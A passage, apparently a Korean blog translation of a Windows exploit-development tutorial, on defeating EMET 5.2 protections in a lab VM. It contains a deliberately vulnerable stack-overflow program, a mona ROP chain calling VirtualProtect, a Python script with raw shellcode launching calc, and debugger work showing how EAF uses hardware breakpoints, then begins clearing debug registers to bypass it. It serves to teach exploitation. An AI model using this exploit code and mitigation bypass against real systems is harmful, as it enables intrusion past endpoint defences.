티스토리 뷰
본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 12. EMET 5.2
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.19
EMET는 Enhanced Mitigation Experience Toolkit 의 약자입니다. 이 글을 쓸 때 EMET의 최신 버전은 5.2 입니다.
여기서는 윈도우즈 7 서비스팩 1 64 비트에서 진행하겠습니다.
주의사항
EMET 5.2는 방화벽이나 안티바이러스 제품들과 충돌날 수 있습니다. 예를들어, 저는 EMET 가 왜 자꾸 익스플로잇 시도에 대해 탐지하는지 궁금해서 몇 시간동한 해맨적이 있습니다. 결국 Comodo 방화벽이랑 충돌나서 그런 것이였고 이를 지워야만 했습니다.
그래서 여기에서는 가상 머신을 이용하여 진행하였습니다.
방어 기법들
이름에서 유추할 수 있듯이 EMET는 익스플로잇의 영향에 대해 완화시켜줍니다. 아래는 이를 위한 방어 기법들에 대해 소개합니다.
1. Data Execution Prevention (DEP)
이는 실행 불가 영역으로된 메모리 위치에서 코드가 실행되는 것을 막습니다.
2. Structured Exception Handler Overwrite Protection (SEHOP)
이는 윈도우즈 SEH를 덮어 쓰는 것을 막습니다.
3. Null Page Protection (NullPage)
null 페이지를 미리 생성하여 악의인 익스플로잇이 사용되는 것을 막습니다.
4. Heap Spraying Protection (HeapSpray)
공격자들이 일반적으로 사용되는 메모리 영역을 미리 할당합니다.
(ex: 0x0a040a04, 0x0a0a0a0a, 0x0b0b0b0b, 0x0c0c0c0c, 0x0d0d0d0d, 0x0e0e0e0e, 0x04040404, 0x05050505, 0x06060606, 0x07070707, 0x08080808, 0x09090909, 0x20202020, 0x14141414)
5. Export Address Table Access Filtering (EAF)
호출 코드를 기반으로 Export Address Table에 접근하는 것을 통제합니다.
6. Export Address Table Access Filtering Plus (EAF+)
메모리 충돌 취약점 익스플로잇이 일반적으로 사용되는 모듈로 export 또는 import table 주소를 읽는 것을 막습니다.
7. Mandatory Address Space Layout Randomization (MandatoryASLR)
메모리에 올라가는 모듈의 주소를 무작위하게 함으로써 공격자로 하여금 메모리 주소를 결정할 수 없도록 합니다.
8. Bottom-up Address Space Layout Randomization (BottomUpASLR)
반대로 뒤집혀 할당된 기본 주소를 무작위하게 하여 MandatoryASLR 을 개선시켰습니다.
9. Load Library Protection (LoadLib)
ROP (Return Oriented Programming) 공격에서 일반적으로 사용되는 UNC 경로들의 모듈들이 불려지는 것은 막습니다.
10. Memory Protection (MemProt)
ROP (Return Oriented Programming) 공격에서 일반적으로 사용되는 스택 실행 권한 주기를 막습니다.
11. ROP Caller Check (Caller)
ROP (Return Oriented Programming) 공격에서 일반적으로 사용되는 RET 명령으로 주요 함수를 호출하는 것에 대해 막습니다.
12. ROP Simulate Execution Flow (SimExecFlow)
ROP (Return Oriented Programming) 공격을 탐지하기 위해 주소 반환후에 실행 흐름을 다시 만듭니다.
13. Stack Pivot (StackPivot)
ROP (Return Oriented Programming) 공격에서 일반적으로 사용되는 스택 포인터를 공격자가 조작 가능한 메모리 포인터로 바꾸는 것에 대해 탐지합니다.
14. Attack Surface Reduction (ASR)
보호된 프로세스의 주소 공간에 정의된 모듈리 불려지는 것을 막습니다.
보호 기법들이 무섭지 않나요? 하지만 시작전부터 포기하지 마세요!
프로그램
EMET 를 분석하기 위해 간단한 C/C++ 프로그램을 사용해보도록 하겠습니다. 여기서는 조금수정된 exploitme3.cpp 를 재사용하도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #include <cstdio> _declspec(noinline) int f() { char name[32]; printf("Reading name from file...\n"); FILE *f = fopen("c:\\deleteme\\name.dat", "rb"); if (!f) return -1; fseek(f, 0L, SEEK_END); long bytes = ftell(f); fseek(f, 0L, SEEK_SET); fread(name, 1, bytes, f); name[bytes] = '\0'; fclose(f); printf("Hi, %s!\n", name); return 0; } int main() { char moreStack[10000]; for (int i = 0; i < sizeof(moreStack); ++i) moreStack[i] = i; return f(); } | cs |
스택 변수 moreStack을 이용하여 스택 공간을 좀 더 넓혔습니다. 기억 하실점은 스택은 낮은 주소로 커지게 되는 반면에 fread는 높을 주소를 향해 써진다는 것 입니다. 이런 추가적인 스택 공간 없이는 fread가 스택의 끝에 닿게 되고 프로그램 충돌이 날 수 있습니다.
main 의 for 반복문이 없다면 moreStack은 최적화가 되어 버립니다. 또한 함수 f가 inline 이라면 버퍼 name은 moreStack 이후에 할당이 됩니다. 이를 피하기 위해서 _declspec(noinline) 을 사용합니다.
전과 마찬가지로, 스택 쿠키를 비활성화 시키고 DEP는 그대로 둡니다.
- Configuration Properties
- C/C++
- Code Generation
- Security Check: Disable Security Check (/GS-)
DEP가 활성화 되어 있는지 확인합니다.
- Configuration Properties
- Linker
- Advanced
- Data Execution Prevention (DEP): Yes (/NXCOMPAT)
이미 아시다시피 ASLR 을 상대하기 위해서는 정보 노출과 같은 것이 필요하며 다음 글들에서 설명할 Internet Explorer 10, 11 에서는 ASLR 이 활성화 되어 있는 상태에서 익스플로잇 개발을 할 것입니다. 하지만 지금은 ASLR은 무시하고 DEP와 ROP에 집중하도록 하겠습니다.
exploitme3 은 msvcr120.dll 라이브러리를 사용합니다. 하지만 매번 프로그램이 실행 될 때마다 라이브러리의 주소가 변경됩니다. 시스템 라이브러리를 이용하여 ROP chain을 만들 수도 있지만 이 역시 비슷합니다. 전에 Export Address Table에서 우리가 원하는 API 함수의 주소를 찾는 쉘코드를 만들었습니다. 만약 kernel32.dll과 ntdll.dll 에서 가져온 가젯의 주소들이 일정하다면 API 함수들의 주소 역시 일정할 것 입니다.
올바른 방법으로는 msvcr120.dll 에서 가젯을 가져오는 것 입니다. kernel32.dll과 ntdll.dll 의 기본 주소가 윈도우즈 재부팅 시에 변경되는 반면에 msvcr120.dll은 exploitme3 실행 시 주소가 변경됩니다.
이 두 행위들의 차이점은 kernel32.dll과 ntdll.dll은 exploitme3이 실행 될 때, 이미 메모리에 불려져 있는 반면에 msvcr120.dll 은 그렇지 않다는 것 입니다. 그래서 해결책으로 다음 프로그램을 만들어 실행하는 것 입니다.
1 2 3 4 5 6 7 8 9 10 | #include <Windows.h> #include <stdio.h> #include <conio.h> int main() { printf("msvcr120 = %p\n", GetModuleHandle(L"msvcr120")); printf("--- press any key ---\n"); _getch(); return 0; } | cs |
우리가 프로그램을 종료하지 않는 이상 msvcr120.dll 의 기본 주소는 변경되지 않습니다. exploitme3을 실행하면 윈도우즈는 메모리에 이미 불려진 msvcr120.dll을 보게 되고 exploitme3 의 주소 공간에 사상 (mapping) 시킬 것 입니다. 또한, msvcr120.dll은 항상 동일한 주소에 사상되는데 그 이유는 위치에 의존적인 코드 (position-dependent code)를 가지고 있어서 만약 위치가 변경되면 동작하지 않기 때문입니다.
초기 익스플로잇
EMET를 열고 Apps 버튼을 클릭합니다.
그리고 Add Application 을 클릭하여 exploitme3.exe 를 선택합니다.
이제 exploitme3 이 리스트에 추가된 것을 볼 수 있습니다.
먼저 EAF, LoadLib, MemProt, Caller, SimExecFlow, 그리고 StackPivot을 비활성화 시키고 시작해보도록 하겠습니다.
OK 를 눌러 설정을 확인합니다.
이제 WinDbg에서 exploitme3.exe를 불러 mona를 이용하여 VirtualProtect ROP chain 을 생성합니다.
.load pykd.pyd
!py mona rop -m msvcr120
mona에서 생성한 rop_chains.txt에 있는 ROP chain 은 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll] 0x7053fc6f, # skip 4 bytes [MSVCR120.dll] 0x704f00f6, # POP EBX # RETN [MSVCR120.dll] 0x00000201, # 0x00000201-> ebx 0x704b6580, # POP EDX # RETN [MSVCR120.dll] 0x00000040, # 0x00000040-> edx 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll] 0x705658f2, # &Writable location [MSVCR120.dll] 0x7048f95c, # POP EDI # RETN [MSVCR120.dll] 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll] 0x704eb436, # POP ESI # RETN [MSVCR120.dll] 0x70493a17, # JMP [EAX] [MSVCR120.dll] 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll] 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll] 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll] 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) | cs |
Exploitme3 (DEP)에서 어떻게 이 chain이 생성되는지 보았기 때문에 여기서는 다시 설명하지 않고 name.dat을 생성했던 스크립트도 필요에 따라 수정하여 사용하도록 하겠습니다. 아래는 초기 버전의 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | import struct # The signature of VirtualProtect is the following: # BOOL WINAPI VirtualProtect( # _In_ LPVOID lpAddress, # _In_ SIZE_T dwSize, # _In_ DWORD flNewProtect, # _Out_ PDWORD lpflOldProtect # ); # After PUSHAD is executed, the stack looks like this: # . # . # . # EDI (ptr to ROP NOP (RETN)) # ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect)) # EBP (ptr to POP (skips EAX on the stack)) # ESP (lpAddress (automatic)) # EBX (dwSize) # EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE)) # ECX (lpOldProtect (ptr to writeable address)) # EAX (address of ptr to VirtualProtect) # lpAddress: # ptr to "call esp" # <shellcode> msvcr120 = 0x73c60000 # Delta used to fix the addresses based on the new base address of msvcr120.dll. md = msvcr120 - 0x70480000 def create_rop_chain(code_size): rop_gadgets = [ md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll] md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll] md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll] code_size, # code_size -> ebx md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll] 0x00000040, # 0x00000040-> edx md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll] md + 0x705658f2, # &Writable location [MSVCR120.dll] md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll] md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll] md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll] md + 0x70493a17, # JMP [EAX] [MSVCR120.dll] md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll] md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll] md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll] md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) def write_file(file_path): with open(file_path, 'wb') as f: ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll] shellcode = ( "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + "\x30\x03\xc6\xeb\xdd") code_size = len(shellcode) name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode f.write(name) write_file(r'c:\deleteme\name.dat') | cs |
변수 msvcr120 에 대해 정확한 값으로 넣어야 합니다. 전에 만들어서 구동시킨 프로그램에 의해 msvcr120.dll은 더이상 기본 주소가 변경되지 않고 또한 해당하는 현재 기본 주소도 알려줍니다.
이제 exploitme3.exe 를 실행하면 계산기가 뜰 것 입니다.
EAF
이제 exploitme3 에 EAF 보호기법을 활성화 시키고 다시 exploitme3을 실행합니다. 이번에는 EMET 에서 우리가 만든 익스플로잇을 탐지하고 exploitme3을 끕니다. 공식문서에 EAF는 다음과 같이 설명되어 있습니다.
regulates access to the Export Address Table (EAT) based on the calling code
exploitme3.exe 디버깅 전에 디버깅 정보를 가지고 있는 exploitme3.pdb가 exploitme3.exe와 동일한 폴더에 있는지 확인해주시기 바랍니다.
WinDbg (Ctrl+E)에서 exploitme3을 열고 main에 breakpoint를 걸어둡니다.
bp exploitme3!main
F5 (go)를 누르면 이상한 예외를 얻게 됩니다.
(f74.c20): Single step exception - code 80000004 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000bff98 ebx=76462a38 ecx=00000154 edx=763a0000 esi=7645ff70 edi=764614e8
eip=76ec01ae esp=003ef214 ebp=003ef290 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000287
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2 add eax,edx
코드는 다음과 같습니다.
76ec018e ff7618 push dword ptr [esi+18h]
76ec0191 ff75e0 push dword ptr [ebp-20h]
76ec0194 e819020000 call ntdll!LdrpNameToOrdinal (76ec03b2)
76ec0199 8b55d8 mov edx,dword ptr [ebp-28h]
76ec019c 0fb7c0 movzx eax,ax
76ec019f 0fb7c8 movzx ecx,ax
76ec01a2 3b4e14 cmp ecx,dword ptr [esi+14h]
76ec01a5 0f83b6f60000 jae ntdll!LdrpSnapThunk+0x12b (76ecf861)
76ec01ab 8b461c mov eax,dword ptr [esi+1Ch] <---------------- this generated the exception
76ec01ae 03c2 add eax,edx <--------------------- we're here!
76ec01b0 8d0c88 lea ecx,[eax+ecx*4]
76ec01b3 8b01 mov eax,dword ptr [ecx]
76ec01b5 03c2 add eax,edx
76ec01b7 8b7d14 mov edi,dword ptr [ebp+14h]
76ec01ba 8907 mov dword ptr [edi],eax
76ec01bc 3bc6 cmp eax,esi
76ec01be 0f87ca990000 ja ntdll!LdrpSnapThunk+0x1d7 (76ec9b8e)
76ec01c4 833900 cmp dword ptr [ecx],0
Single step exception은 디버깅 예외 입니다. 이를보아 이 예외는 코드의 바로 전줄에서 발생되었습니다.
76ec01ab 8b461c mov eax,dword ptr [esi+1Ch] <---------------- this generated the exception
esi 가 어떤것을 가리키고 있는지 확인해보겠습니다.
0:000> ln @esi
(7645ff70) kernel32!$$VProc_ImageExportDirectory | (76480000) kernel32!BasepAllowResourceConversion
Exact matches:
kernel32!$$VProc_ImageExportDirectory = <no type information>
esi가 kernel32의 EAT를 가리키고 있습니다! 이를 통해 esi가 정말 EAT를 가리키고 있음을 확인했습니다.
0:000> !dh kernel32
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
4 number of sections
53159A85 time date stamp Tue Mar 04 10:19:01 2014
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
9.00 linker version
D0000 size of code
30000 size of initialized data
0 size of uninitialized data
13293 address of entry point
10000 base of code
----- new -----
763a0000 image base
10000 section alignment
10000 file alignment
3 subsystem (Windows CUI)
6.01 operating system version
6.01 image version
6.01 subsystem version
110000 size of image
10000 size of headers
1105AE checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
BFF70 [ A9B1] address [size] of Export Directory <----------------------------------
CA924 [ 1F4] address [size] of Import Directory
F0000 [ 528] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
100000 [ AD9C] address [size] of Base Relocation Directory
D0734 [ 38] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
83510 [ 40] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
10000 [ DF0] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
SECTION HEADER #1
.text name
C0796 virtual size
10000 virtual address
D0000 size of raw data
10000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
Debug Directories(2)
Type Size Address Pointer
cv 26 d0770 d0770 Format: RSDS, guid, 2, wkernel32.pdb
( 10) 4 d076c d076c
SECTION HEADER #2
.data name
100C virtual size
E0000 virtual address
10000 size of raw data
E0000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0000040 flags
Initialized Data
(no align specified)
Read Write
SECTION HEADER #3
.rsrc name
528 virtual size
F0000 virtual address
10000 size of raw data
F0000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
SECTION HEADER #4
.reloc name
AD9C virtual size
100000 virtual address
10000 size of raw data
100000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42000040 flags
Initialized Data
Discardable
(no align specified)
Read Only
esi가 정말 EAT를 가리킴을 볼 수 있습니다.
0:000> ? @esi == kernel32 + bff70
Evaluate expression: 1 = 00000001 (1 means True)
예외를 발생시킨 명령은 EAT의 오프셋 0x1c에 접근하였습니다. winnt.h 파일을 이용하여 해당 오프셋에 무엇이 있는지 보도록 하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; // 0 DWORD TimeDateStamp; // 4 WORD MajorVersion; // 8 WORD MinorVersion; // 0xa DWORD Name; // 0xc DWORD Base; // 0x10 DWORD NumberOfFunctions; // 0x14 DWORD NumberOfNames; // 0x18 DWORD AddressOfFunctions; // 0x1c <---------------------- DWORD AddressOfNames; // 0x20 DWORD AddressOfNameOrdinals; // 0x24 } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; | cs |
쉘코드 장에서 우리는 노출된 함수들의 RAV들을 포함하고 있는 배열의 RVA가 AddressOfFunctions 임을 보았습니다.
스택 트레이스를 보면 현재 GetProcAddress 함수에 있음을 알 수 있습니다.
0:000> k 10
ChildEBP RetAddr
003ef290 76ec032a ntdll!LdrpSnapThunk+0x1c1
003ef34c 76ec0202 ntdll!LdrGetProcedureAddressEx+0x1ca
003ef368 76261e59 ntdll!LdrGetProcedureAddress+0x18
003ef390 73c8d45e KERNELBASE!GetProcAddress+0x44 <------------------------
003ef3a4 73c8ca0d MSVCR120!__crtLoadWinApiPointers+0x1d [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 752]
003ef3a8 73c8ca91 MSVCR120!_mtinit+0x5 [f:\dd\vctools\crt\crtw32\startup\tidtable.c @ 97]
003ef3d8 73c71a5f MSVCR120!__CRTDLL_INIT+0x2f [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 235]
003ef3ec 76ec99a0 MSVCR120!_CRTDLL_INIT+0x1c [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 214]
003ef40c 76ecd939 ntdll!LdrpCallInitRoutine+0x14
003ef500 76ed686c ntdll!LdrpRunInitializeRoutines+0x26f
003ef680 76ed5326 ntdll!LdrpInitializeProcess+0x1400
003ef6d0 76ec9ef9 ntdll!_LdrpInitialize+0x78
003ef6e0 00000000 ntdll!LdrInitializeThunk+0x10
이런 예외를 본건 처음이긴 하지만 EMET 인게 분명합니다. 보아하니 EMET의 EAF는 몇몇 EAT의 AddressOfFunctions 필드에 접근을 가로채는 것 같습니다. 누가? 어떻게?
WinDbg에서 ba (hardware breakpoint)를 이용하여 비슷한 것을 할 수 있습니다. 따라서 EMET 역시 동일한 방법을 썻을 것입니다. 디버그 레지스터를 보도록 합시다.
0:000> rM 20
dr0=76ea0204 dr1=7645ff8c dr2=7628b85c
dr3=00000000 dr6=ffff0ff2 dr7=0fff0115
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2 add eax,edx
(명령어를 잘 모르신다면 .hh 를 이용하시기 바랍니다)
dr1에 있는 값은 익숙해 보입니다.
0:000> ? @dr1 == esi+1c
Evaluate expression: 1 = 00000001
이거군요!! 완벽합니다!!
디버그 레지스터들
솔직히 얘기하자면 디버그 레지스터의 종류에 대해 배울 필요가 없습니다. 여기서 우리의 경우에는 dr0, dr1, dr2는 hardware breakpoints 의 주소가 있는게 분명하니까요. 이들이 어디를 가리키고 있는지 한 번 보도록 합시다.
0:000> ln dr0
(76ea01e8) ntdll!$$VProc_ImageExportDirectory+0x1c | (76eaf8a0) ntdll!NtMapUserPhysicalPagesScatter
0:000> ln dr1
(7645ff70) kernel32!$$VProc_ImageExportDirectory+0x1c | (76480000) kernel32!BasepAllowResourceConversion
0:000> ln dr2
(76288cb0) KERNELBASE!_NULL_IMPORT_DESCRIPTOR+0x2bac | (76291000) KERNELBASE!KernelBaseGlobalData
처음 두 개는 ntdll과 kernel32의 EAT를 가리키고 있지만 세 번째는 좀 달라보입니다. 살펴보면,
0:000> !dh kernelbase
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
4 number of sections
53159A86 time date stamp Tue Mar 04 10:19:02 2014
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
9.00 linker version
3F800 size of code
4400 size of initialized data
0 size of uninitialized data
74C1 address of entry point
1000 base of code
----- new -----
76250000 image base
1000 section alignment
200 file alignment
3 subsystem (Windows CUI)
6.01 operating system version
6.01 image version
6.01 subsystem version
47000 size of image
400 size of headers
49E52 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
3B840 [ 4F19] address [size] of Export Directory <-------------------------
38C9C [ 28] address [size] of Import Directory
43000 [ 530] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
44000 [ 25F0] address [size] of Base Relocation Directory
1660 [ 1C] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
69D0 [ 40] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
1000 [ 654] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
SECTION HEADER #1
.text name
3F759 virtual size
1000 virtual address
3F800 size of raw data
400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
Debug Directories(1)
Type Size Address Pointer
cv 28 6a18 5e18 Format: RSDS, guid, 1, wkernelbase.pdb
SECTION HEADER #2
.data name
11E8 virtual size
41000 virtual address
400 size of raw data
3FC00 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0000040 flags
Initialized Data
(no align specified)
Read Write
SECTION HEADER #3
.rsrc name
530 virtual size
43000 virtual address
600 size of raw data
40000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
SECTION HEADER #4
.reloc name
2A18 virtual size
44000 virtual address
2C00 size of raw data
40600 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42000040 flags
Initialized Data
Discardable
(no align specified)
Read Only
0:000> ? kernelbase+3B840+1c
Evaluate expression: 1982380124 = 7628b85c <----------------------
0:000> ? @dr2
Evaluate expression: 1982380124 = 7628b85c <----------------------
아닙니다. dr2는 KERNELBASE의 EAT 를 가리키고 있습니다!
어쨋든, 궁금하니깐 인텔 설명서 (3B)를 보도록 하죠. 디버그 레지스터의 구성은 다음과 같습니다.
보시면 명확하게 레지스터 DR0, DR1, DR2, 그리고 DR3은 breakpoints의 주소들을 명시함을 알 수 있습니다. 레지스터 DR6은 마지막 디버그 예외에 대한 정보를 제공하는 상태 레지스터인 반면에 DR7은 4개의 breakpoints 들에 대한 설정을 담고 있습니다. 해당 명세에 대해 더 궁금하신 분은 인텔 설명서를 보시기 바랍니다.
우리가 알아야 하는 것은 디버그 레지스터들을 초기화 하여 breakpoints를 비활성화 시키는 것입니다. WinDbg에서 exploitme3.exe를 불러오고 EMET 가 디버그 레지스터들을 수정하기 전에 보면 다음과 같습니다.
0:000> rM 20
dr0=00000000 dr1=00000000 dr2=00000000
dr3=00000000 dr6=00000000 dr7=00000000
ntdll!LdrpDoDebuggerBreak+0x2c:
76f3103b cc int 3
디버그 레지스터들 초기화(1)
쉘코드 앞단에 디버그 레지스터 초기화 코드를 넣어 쉘코드가 EAT에 무사히 접근할 수 있도록 해봅시다.
기계어를 생성하기 위해 Visual Studio에서 어셈 코드를 작성하고 프로그램 디버그를 한 뒤, Go to the Disassembly 를 합니다. 디스어셈블리 영역에서 코드를 복사하여 파이썬 스크립트쪽으로 가져옵니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | import struct # The signature of VirtualProtect is the following: # BOOL WINAPI VirtualProtect( # _In_ LPVOID lpAddress, # _In_ SIZE_T dwSize, # _In_ DWORD flNewProtect, # _Out_ PDWORD lpflOldProtect # ); # After PUSHAD is executed, the stack looks like this: # . # . # . # EDI (ptr to ROP NOP (RETN)) # ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect)) # EBP (ptr to POP (skips EAX on the stack)) # ESP (lpAddress (automatic)) # EBX (dwSize) # EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE)) # ECX (lpOldProtect (ptr to writeable address)) # EAX (address of ptr to VirtualProtect) # lpAddress: # ptr to "call esp" # <shellcode> msvcr120 = 0x73c60000 # Delta used to fix the addresses based on the new base address of msvcr120.dll. md = msvcr120 - 0x70480000 def create_rop_chain(code_size): rop_gadgets = [ md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll] md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll] md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll] code_size, # code_size -> ebx md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll] 0x00000040, # 0x00000040-> edx md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll] md + 0x705658f2, # &Writable location [MSVCR120.dll] md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll] md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll] md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll] md + 0x70493a17, # JMP [EAX] [MSVCR120.dll] md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll] md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll] md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll] md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) def write_file(file_path): with open(file_path, 'wb') as f: ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll] shellcode = ( "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + 